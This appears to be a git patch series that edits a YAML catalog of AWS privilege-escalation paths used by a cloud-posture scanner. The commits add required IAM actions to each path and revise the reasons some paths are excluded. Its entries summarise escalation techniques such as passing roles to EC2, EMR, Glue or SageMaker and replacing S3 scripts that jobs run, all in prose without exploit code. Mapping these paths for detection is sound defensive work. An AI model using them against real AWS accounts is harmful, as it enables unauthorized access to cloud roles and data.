b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml index afbe8dcbf8..9cfceef3bb 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml @@ -17,7 +17,8 @@ source_revision: 5508b27049 summary: The source can request credentials for the exact IAM role configured on a Deadline Cloud queue when its IAM policy allows AssumeQueueRoleForUser on that queue. requires: - all_of: [] + all_of: + - action: deadline:AssumeQueueRoleForUser source_kind: [aws_user, aws_role] target: kind: aws_role @@ -48,7 +49,8 @@ source_revision: b9af68e3e9 summary: The source can request credentials for the exact IAM role configured on an existing Deadline Cloud worker's fleet when IAM allows AssumeFleetRoleForWorker on that worker. requires: - all_of: [] + all_of: + - action: deadline:AssumeFleetRoleForWorker source_kind: [aws_user, aws_role] target: kind: aws_role @@ -80,7 +82,8 @@ source_revision: 7d5d4dc90f summary: The source can register a worker on an existing customer-managed fleet and request its role credentials when the worker grants cover every generated worker ID and the worker-creation dependent permissions are present. requires: - all_of: [] + all_of: + - action: deadline:CreateWorker source_kind: [aws_user, aws_role] target: kind: aws_role @@ -113,6 +116,9 @@ summary: A caller able to change one existing queue's role, pass an eligible role to Deadline Cloud, and request that queue's credentials may receive the new queue-role credentials. Creating a queue needs separate proof of its generated queue identity. requires: all_of: [] + any_of: + - - action: deadline:CreateQueue + - - action: deadline:UpdateQueue source_kind: [aws_user, aws_role] target: kind: aws_role @@ -142,7 +148,8 @@ source_revision: d4ab3fa4e4 summary: A caller that configures a customer-managed fleet and receives its worker credentials may gain a specific Deadline worker operation it could not perform directly. Unrelated IAM permissions attached to the fleet role are not included. requires: - all_of: [] + all_of: + - action: deadline:CreateWorker source_kind: [aws_user, aws_role] target: kind: aws_verified_authority diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml index 871a59d52b..24345b8825 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml @@ -16,7 +16,8 @@ source_revision: 171e422299 summary: The source can launch an EC2 instance it controls with a passable instance profile and may run code using the attached role. requires: - all_of: [] + all_of: + - action: ec2:RunInstances target: kind: aws_role selector: @@ -91,7 +92,8 @@ source_revision: 171e422299 summary: The source can request a Spot Instance it controls with a passable instance profile and may run code using the attached role. requires: - all_of: [] + all_of: + - action: ec2:RequestSpotInstances target: kind: aws_role selector: @@ -195,6 +197,9 @@ summary: A caller can configure an Auto Scaling group to launch an instance using a passable instance-profile role, then run controlled code under that role when the launch and code execution are observed. requires: all_of: [] + any_of: + - - action: autoscaling:CreateAutoScalingGroup + - - action: autoscaling:UpdateAutoScalingGroup source_kind: [aws_user, aws_role] target: kind: aws_role @@ -265,7 +270,8 @@ source_revision: b587e6bd26 summary: A caller can request a Spot Fleet with a separate fleet role and a passable instance-profile role, then run controlled code under the instance role if a matching instance actually launches. requires: - all_of: [] + all_of: + - action: ec2:RequestSpotFleet source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml index cfa14a5055..3a1cd71d04 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml @@ -192,7 +192,8 @@ source_revision: 171e422299 summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. requires: - all_of: [] + all_of: + - action: ecs:RegisterTaskDefinition source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml index 8206dceb3e..90e119ae68 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml @@ -19,7 +19,8 @@ source_revision: 6fb9ac51fd summary: The source can obtain the privileges of any passable EC2-trusting role with an instance profile, used as the instance profile of a new Beanstalk environment or of an existing one it updates. requires: - all_of: [] + all_of: + - action: elasticbeanstalk:CreateEnvironment target: kind: aws_role selector: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml index 1dcef917f4..5300f31833 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml @@ -16,7 +16,8 @@ source_revision: 171e422299 summary: A principal allowed to add a command step to an active cluster may use the role of that cluster's EC2 instance profile. requires: - all_of: [] + all_of: + - action: elasticmapreduce:AddJobFlowSteps source_kind: [aws_user, aws_role] target: kind: aws_role @@ -48,7 +49,8 @@ source_revision: 171e422299 summary: The source can launch an EMR cluster with a passable EC2 instance profile and run bootstrap code on its instances. requires: - all_of: [] + all_of: + - action: elasticmapreduce:RunJobFlow target: kind: aws_role selector: @@ -83,7 +85,8 @@ source_revision: e0ecce7ba7 summary: A caller may run a command step under a selected runtime role on an existing EMR cluster with runtime roles enabled. requires: - all_of: [] + all_of: + - action: elasticmapreduce:AddJobFlowSteps source_kind: [aws_user, aws_role] target: kind: aws_role @@ -116,7 +119,8 @@ source_revision: 171e422299 summary: A caller may submit work under an EMR runtime role if it can obtain endpoint credentials for that role, reach a compatible endpoint and run a permitted workload. requires: - all_of: [] + all_of: + - action: elasticmapreduce:GetClusterSessionCredentials target: kind: aws_role selector: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml index 1f9e2a3ba7..9c9540a133 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emrserverless.yaml @@ -20,7 +20,8 @@ source_revision: 171e422299 summary: The source can run job code it controls using a passable EMR Serverless role. requires: - all_of: [] + all_of: + - action: emr-serverless:StartJobRun target: kind: aws_role selector: @@ -55,7 +56,8 @@ source_revision: 171e422299 summary: The source can obtain the privileges of an EMR on EKS execution role (trusting the EKS cluster OIDC provider for emr-containers-sa-* service accounts) by running its own job code on a virtual cluster under that role. requires: - all_of: [] + all_of: + - action: emr-containers:StartJobRun target: kind: aws_role selector: @@ -89,7 +91,8 @@ source_revision: 171e422299 summary: The source can submit a job with a passable execution role when its EKS Pod Identity trust and all three EMR service-account associations are in place. requires: - all_of: [] + all_of: + - action: emr-containers:StartJobRun target: kind: aws_role selector: @@ -123,7 +126,8 @@ source_revision: 171e422299 summary: The source can run interactive Spark code as an EMR on EKS execution role by retrieving managed-endpoint session credentials for that role. requires: - all_of: [] + all_of: + - action: emr-containers:GetManagedEndpointSessionCredentials target: kind: aws_role selector: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml index a545b2fdc3..433608c212 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml @@ -16,7 +16,8 @@ summary: A subscriber may invoke a supported write action through a passed EventBridge role. This does not give the source the role's identity or all its permissions. source_kind: [aws_user, aws_role] requires: - all_of: [] + all_of: + - action: events:CreateSubscriber target: kind: aws_role selector: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml index 563629e546..29d74825cd 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/exact-principal-v5.yaml @@ -56,7 +56,8 @@ action are observed. source_kind: [aws_user, aws_role] requires: - all_of: [] + all_of: + - action: ssm:StartSession preconditions: - codebuild_ssm_debug_session_role_effect_reviewed target: @@ -92,7 +93,8 @@ source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole source_revision: 57bd5c07df requires: - all_of: [] + all_of: + - action: devicefarm:ScheduleRun source_kind: [aws_user, aws_role] preconditions: - devicefarm_existing_test_spec_role_effect_reviewed diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml index ef788f61d5..82effdbae9 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml @@ -17,7 +17,8 @@ source_revision: 171e422299 summary: A principal allowed to open a running Studio notebook may run work through its recorded execution role. requires: - all_of: [] + all_of: + - action: kinesisanalytics:CreateApplicationPresignedUrl source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml index 82f278a038..3e20ab061c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml @@ -16,7 +16,8 @@ summary: The source can open a shell on an active managed EC2 fleet compute where the exact instance role is exposed through a shared credentials file. source_kind: [aws_user, aws_role] requires: - all_of: [] + all_of: + - action: gamelift:GetComputeAccess target: kind: aws_role scope: same_account diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml index bcb0a98fec..a7ad9a5550 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml @@ -52,6 +52,9 @@ source_kind: [aws_user, aws_role] requires: all_of: [] + any_of: + - - action: gameliftstreams:StartStreamSession + - - action: gameliftstreams:CreateStreamUrl target: kind: aws_role selector: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml index a49306d266..975e57c60c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml @@ -16,7 +16,8 @@ source_revision: 171e422299 summary: The source can create a public Glue development endpoint with an SSH key it controls, read its address and use a passable execution role. requires: - all_of: [] + all_of: + - action: glue:CreateDevEndpoint source_kind: [aws_user, aws_role] target: kind: aws_role @@ -127,7 +128,8 @@ source_revision: f6c5b04636 summary: The source may run its code under an existing Glue job role by replacing the exact S3 script object used by that job and causing the job to run. requires: - all_of: [] + all_of: + - action: s3:PutObject source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml index 30e39ccef1..9005e86da6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml @@ -15,7 +15,8 @@ source_revision: 3a7851fefe summary: The source can obtain the privileges of the infrastructure instance-profile role of an Image Builder pipeline whose recipe references an account-owned component by a version wildcard. requires: - all_of: [] + all_of: + - action: imagebuilder:CreateComponent source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml index 5a5389b38e..aa7b4992c7 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/mwaa.yaml @@ -15,7 +15,8 @@ source_revision: aa345c4cbe summary: The source can place a Python DAG in an existing environment's configured S3 DAG folder, where MWAA may parse it under the environment's recorded execution role. requires: - all_of: [] + all_of: + - action: s3:PutObject source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml index 5f2d9415a0..ea32f2744e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml @@ -444,7 +444,8 @@ source_revision: ad7429a974 summary: The source can replace an existing lifecycle configuration used by a notebook and run code under that notebook's execution role on its next start. requires: - all_of: [] + all_of: + - action: sagemaker:UpdateNotebookInstanceLifecycleConfig source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml index b492df33ab..8fe7eba416 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml @@ -94,7 +94,8 @@ source_revision: 98775f1a6f summary: The source can run a platform-matching shell document on an online hybrid node whose recorded IamRole names the target role. requires: - all_of: [] + all_of: + - action: ssm:SendCommand source_kind: [aws_user, aws_role] target: kind: aws_role @@ -124,7 +125,8 @@ source_revision: 98775f1a6f summary: The source can open a default shell session on an online hybrid node whose recorded IamRole names the target role. requires: - all_of: [] + all_of: + - action: ssm:StartSession source_kind: [aws_user, aws_role] target: kind: aws_role From f8cba9b16321620660da1e695dfcc918eef97d51 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 00:42:19 +0200 Subject: [PATCH 05/10] Retain PassRole prefilters for reviewed AWS paths --- .../aws/codepipeline.yaml | 3 +++ .../aws/deadline.yaml | 4 +++- src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml | 6 +++++- .../aws/events.yaml | 1 + .../aws/gameliftstreams.yaml | 3 ++- 5 files changed, 14 insertions(+), 3 deletions(-) diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml index a5e113f825..fcf003389c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml @@ -16,6 +16,7 @@ summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline, placing a source ZIP in S3, and starting the pipeline. requires: all_of: + - action: iam:PassRole - action: codebuild:CreateProject - action: codepipeline:CreatePipeline - action: codepipeline:StartPipelineExecution @@ -52,6 +53,7 @@ summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that runs a recorded CodeCommit branch or one it can push. requires: all_of: + - action: iam:PassRole - action: codebuild:CreateProject - action: codepipeline:CreatePipeline - action: codepipeline:StartPipelineExecution @@ -88,6 +90,7 @@ summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that uses a recorded tagged ECR image as its source. requires: all_of: + - action: iam:PassRole - action: codebuild:CreateProject - action: codepipeline:CreatePipeline - action: codepipeline:StartPipelineExecution diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml index 9cfceef3bb..c9927c9155 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml @@ -115,7 +115,8 @@ source_revision: 171e422299 summary: A caller able to change one existing queue's role, pass an eligible role to Deadline Cloud, and request that queue's credentials may receive the new queue-role credentials. Creating a queue needs separate proof of its generated queue identity. requires: - all_of: [] + all_of: + - action: iam:PassRole any_of: - - action: deadline:CreateQueue - - action: deadline:UpdateQueue @@ -149,6 +150,7 @@ summary: A caller that configures a customer-managed fleet and receives its worker credentials may gain a specific Deadline worker operation it could not perform directly. Unrelated IAM permissions attached to the fleet role are not included. requires: all_of: + - action: iam:PassRole - action: deadline:CreateWorker source_kind: [aws_user, aws_role] target: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml index 24345b8825..684573e6e3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ec2.yaml @@ -17,6 +17,7 @@ summary: The source can launch an EC2 instance it controls with a passable instance profile and may run code using the attached role. requires: all_of: + - action: iam:PassRole - action: ec2:RunInstances target: kind: aws_role @@ -93,6 +94,7 @@ summary: The source can request a Spot Instance it controls with a passable instance profile and may run code using the attached role. requires: all_of: + - action: iam:PassRole - action: ec2:RequestSpotInstances target: kind: aws_role @@ -196,7 +198,8 @@ source_revision: 171e422299 summary: A caller can configure an Auto Scaling group to launch an instance using a passable instance-profile role, then run controlled code under that role when the launch and code execution are observed. requires: - all_of: [] + all_of: + - action: iam:PassRole any_of: - - action: autoscaling:CreateAutoScalingGroup - - action: autoscaling:UpdateAutoScalingGroup @@ -271,6 +274,7 @@ summary: A caller can request a Spot Fleet with a separate fleet role and a passable instance-profile role, then run controlled code under the instance role if a matching instance actually launches. requires: all_of: + - action: iam:PassRole - action: ec2:RequestSpotFleet source_kind: [aws_user, aws_role] target: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml index 433608c212..c573df20d5 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/events.yaml @@ -17,6 +17,7 @@ source_kind: [aws_user, aws_role] requires: all_of: + - action: iam:PassRole - action: events:CreateSubscriber target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml index a7ad9a5550..3c9167ce95 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml @@ -51,7 +51,8 @@ summary: The source may perform a useful action under a passable GameLiftStreams-* session role when controlled application code executes in a compatible stream group. source_kind: [aws_user, aws_role] requires: - all_of: [] + all_of: + - action: iam:PassRole any_of: - - action: gameliftstreams:StartStreamSession - - action: gameliftstreams:CreateStreamUrl From 863f3ad53c745ff349950c79cffb8c0e3ac0e96b Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 01:48:20 +0200 Subject: [PATCH 06/10] Sync reviewed AWS privilege paths with latest CSPM catalog --- .../aws/_excluded_a.yaml | 4 +- ...artifact_join_strict_reaudit_20261016.yaml | 9 +- .../aws/_excluded_b.yaml | 6 +- ...ded_config_existing_document_20261022.yaml | 2 +- ...ffective_gain_strict_reaudit_20261016.yaml | 16 ++- ...uded_foothold_strict_reaudit_20261016.yaml | 9 +- .../_excluded_generated_scope_20261016.yaml | 18 +-- ...ric_challenge_strict_reaudit_20261016.yaml | 11 -- ...excluded_org_scope_overclaim_20261016.yaml | 2 +- ...organizations_effective_gain_20261022.yaml | 4 +- ..._studio_space_strict_reaudit_20261016.yaml | 13 +- ...ted_host_join_strict_reaudit_20261016.yaml | 23 ++- ...d_service_join_final_reaudit_20261016.yaml | 7 +- ...oined_subject_strict_reaudit_20261016.yaml | 10 +- .../aws/appstream.yaml | 9 +- .../aws/bedrock.yaml | 9 +- .../aws/cloudcontrol.yaml | 4 +- .../aws/ecs.yaml | 37 +++++ .../aws/emr.yaml | 2 +- .../aws/flink.yaml | 35 +++++ .../aws/glue.yaml | 8 +- .../aws/grafana.yaml | 42 +++++- .../aws/iam.yaml | 136 ++++++++++++++++++ .../aws/organizations.yaml | 4 +- .../aws/sagemaker.yaml | 34 +++++ .../aws/synthetics.yaml | 37 +++++ 26 files changed, 401 insertions(+), 90 deletions(-) diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml index c2e454b248..7db6162a23 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_a.yaml @@ -262,7 +262,9 @@ historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional source_revision: 3ad99dc7ac technique: ec2:DescribeLaunchTemplateVersions - reason: Data read (secrets in user data). + reason: Reading an exact launch-template version may expose user data, but no IAM principal + edge follows without a recorded, currently valid credential in that data and its exact + AWS subject. The automatic graph does not inspect or authenticate that secret content. - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft source_revision: 3ad99dc7ac diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml index 852e153a50..8f40efbf50 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml @@ -77,7 +77,10 @@ source_revision: b587e6bd26 technique: Publish a newer compatible version of a trusted CodeArtifact package consumed by a privileged workload - reason: 'The codeartifact_package artifact is not joined to an exact consuming resource and - role: the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. - Writing the artifact alone cannot establish a principal-to-principal path.' + reason: 'Publishing a new package version does not by itself start or change a privileged + workload. A principal edge needs the exact consuming build or application, its CodeArtifact + repository and package selection, a dependency range or tag that selects the new version + despite any lockfile, a later installation that executes controlled code, and that + consumer’s recorded role. None of those package-to-consumer-to-role joins is collected, + so this conditional attack remains outside the automatic principal graph.' prior_id: aws-codeartifact-publishpackageversion-consumer-poisoning diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml index ffb05dea8e..d83818113b 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml @@ -205,7 +205,7 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputtargets--eventsputevents--invoke-a-resource-policy-authorized-lambda source_revision: a53b46392c technique: events:PutTargets + events:PutEvents - reason: Invokes a fixed Lambda with attacker input; no control of code or role. + reason: PutTargets can attach a Lambda to an exact rule and PutEvents can supply matching input only if the rule, bus and Lambda invoke policy align. Fixed invocation does not expose its execution role. A principal edge needs reviewed handler behavior showing that source-controlled event fields drive a useful privileged AWS action under that exact role; this input-to-action witness is not collected. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputpermission--self-grant-publishing-through-a-bus-policy source_revision: a53b46392c technique: events:PutPermission @@ -213,11 +213,11 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputrule--enable-a-disabled-rule-with-its-existing-target source_revision: a53b46392c technique: events:PutRule (enable disabled rule) - reason: Runs an existing fixed target; no control of code or role. + reason: PutRule can re-enable an existing disabled rule, but omitted rule fields may be replaced and break its pattern or schedule. The target can run only if the complete rule fires and its invocation is authorized. Fixed target execution does not expose a role unless reviewed target behavior turns the event into a useful privileged AWS action; that witness is not collected. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsstartreplay--replay-retained-events-into-unchanged-targets source_revision: a53b46392c technique: events:StartReplay - reason: Replays events into fixed targets; no control of code or role. + reason: StartReplay re-emits retained archive events without changing their payload, rule or target. A principal edge needs the exact archive interval, a retained matching event, the bus/rule/target authorization chain and reviewed target behavior yielding additional authority. Archive contents and handler effects are not joined, so replay permission alone remains outside the automatic graph. - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateapidestination--redirect-stored-connection-credentials historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsupdateapidestination--redirect-stored-connection-credentials source_revision: f2aa915198 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml index 1e096aeba5..1911160af2 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml @@ -1,5 +1,5 @@ # Existing Automation documents can avoid CreateDocument, but need an exact runnable step. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#config-existing-automation-document-remediation +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#privilege-escalation-through-automatic-remediation source_revision: f4d5491c17 technique: Attach an existing useful Automation document to automatic Config remediation reason: An existing Automation document could remove the need for ssm:CreateDocument, but PutRemediationConfigurations and PassRole alone do not prove that the document accepts AutomationAssumeRole, executes an action the passed role permits, and produces a usable gain. The route also needs a non-service-linked rule, a noncompliant resource, automatic mode and the remediation service-linked role. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml index cd312abb4d..2afe9f20bb 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml @@ -15,15 +15,16 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputuserpermissionsboundary source_revision: 171e422299 technique: Replace or remove the permissions boundary of the source user - reason: Deleting or replacing a boundary is a permission gain only if a restrictive boundary - currently limits broader identity policies; that before/after effective permission is not - evaluated. + reason: The old broad claim is replaced by active aws-iam-putuserpermissionsboundary-self-admin. + The active route requires an exact self-boundary mutation and verifies that an existing + administrator identity policy becomes effective after the boundary is removed or replaced. prior_id: aws-iam-putuserpermissionsboundary-self - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary source_revision: 171e422299 technique: Replace or remove the permissions boundary of the source role - reason: Deleting or replacing a role boundary is a permission gain only if it currently limits - broader role policies; that before/after effective permission is not evaluated. + reason: Replaced by active aws-iam-putrolepermissionsboundary-self-admin, which checks the + exact mutation and existing capped administrator grant and keeps the result conditional + until a fresh session of the same role can be obtained. prior_id: aws-iam-putrolepermissionsboundary-self - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control source_revision: 171e422299 @@ -53,8 +54,9 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary source_revision: 6fb9ac51fd technique: Replace or remove the permissions boundary of a role the source can assume - reason: The assumable role may have no restrictive boundary or admin-equivalent policy behind - it; no exact before/after effective permission proof supports account-admin. + reason: Replaced by active aws-iam-putrolepermissionsboundary-assumable-admin, which joins + the exact assumable role, restrictive old boundary, existing administrator identity + grant, mutation permission, requested replacement boundary, and fresh AssumeRole path. prior_id: aws-iam-rolepermissionsboundary-assumable-role - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#impersonate-a-saml-connect-user-with-a-controllable-role-session-name source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml index de141a3661..7f21bf3767 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml @@ -2,9 +2,12 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-iamaddroletoinstanceprofile source_revision: 171e422299 technique: Add a role to an instance profile used by an instance the source controls - reason: The caller can place a role in an instance profile, but the graph does not prove it - controls and can execute on an instance using that profile; no usable role credential follows - from the declared actions alone. + reason: AddRoleToInstanceProfile and PassRole can put a role in one empty instance profile, + or replacement additionally needs RemoveRoleFromInstanceProfile. The profile must then be + attached to an exact instance the caller can run code on, and that instance must expose + usable profile credentials through IMDS after propagation. Current inventory has no + caller-to-instance code or session foothold and no profile-change-to-credential witness; + placing the role in a profile alone does not yield its credentials. prior_id: aws-ec2-passrole-addroletoinstanceprofile - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive source_revision: 171e422299 diff --git 